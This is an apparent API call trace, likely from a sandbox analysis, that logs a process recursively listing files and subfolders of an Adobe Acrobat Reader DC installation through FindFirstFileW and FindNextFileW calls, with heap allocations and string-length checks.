	[0163.268] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa909, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0
	[0163.268] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0163.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.268] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x362483dd, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x362483dd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x362483dd, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 0
	[0163.268] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0163.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0163.268] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Locale", cAlternateFileName="")) returned 1
	[0163.268] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0163.268] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0163.270] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cfcd37, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.270] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 1
	[0163.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.270] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US") returned 66
	[0163.270] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Locale\\en_US\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.270] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.270] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 1
	[0163.271] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389c5d29, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="stopwords.ENU", cAlternateFileName="STOPWO~1.ENU")) returned 0
	[0163.271] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0163.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.271] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cfcd37, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cfcd37, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389c5d29, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en_US", cAlternateFileName="")) returned 0
	[0163.271] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0163.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0163.271] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1fa1b97a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x62050, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1
	[0163.271] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x207aaff6, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x56650, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="LOGTRA~1.EXE")) returned 1
	[0163.271] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38a84970, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xba2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1
	[0163.271] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37adee54, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="PDFPRE~1.DLL")) returned 1
	[0163.272] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x362bab1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="PDFSIG~1.PDF")) returned 1
	[0163.272] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x168ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1
	[0163.272] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1
	[0163.272] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0163.272] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins") returned 62
	[0163.272] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0163.275] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33e2e03c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2e1b623, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2e1b623, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.276] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf9a79de, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7be63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1
	[0163.276] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm", cAlternateFileName="")) returned 1
	[0163.276] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.276] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm") returned 71
	[0163.276] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.277] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342a67ce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cca47, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.277] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342a67ce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xb416, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1
	[0163.278] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 1
	[0163.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0163.278] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP") returned 75
	[0163.278] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.281] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.281] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1
	[0163.281] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DataMatrix.pmp", cAlternateFileName="DATAMA~1.PMP")) returned 1
	[0163.282] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342f2cdf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QRCode.pmp", cAlternateFileName="")) returned 1
	[0163.282] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x342f2cdf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QRCode.pmp", cAlternateFileName="")) returned 0
	[0163.282] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
	[0163.282] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342cca47, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x342cca47, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342f2cdf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0
	[0163.282] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0163.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0163.282] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe024c29f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xcb0e63, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AcroForm.api", cAlternateFileName="")) returned 1
	[0163.282] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Annotations", cAlternateFileName="ANNOTA~1")) returned 1
	[0163.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0163.282] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations") returned 74
	[0163.282] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.283] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.284] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1
	[0163.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0163.284] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps") returned 81
	[0163.284] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0163.284] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.284] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENU", cAlternateFileName="")) returned 1
	[0163.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0163.284] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU") returned 85
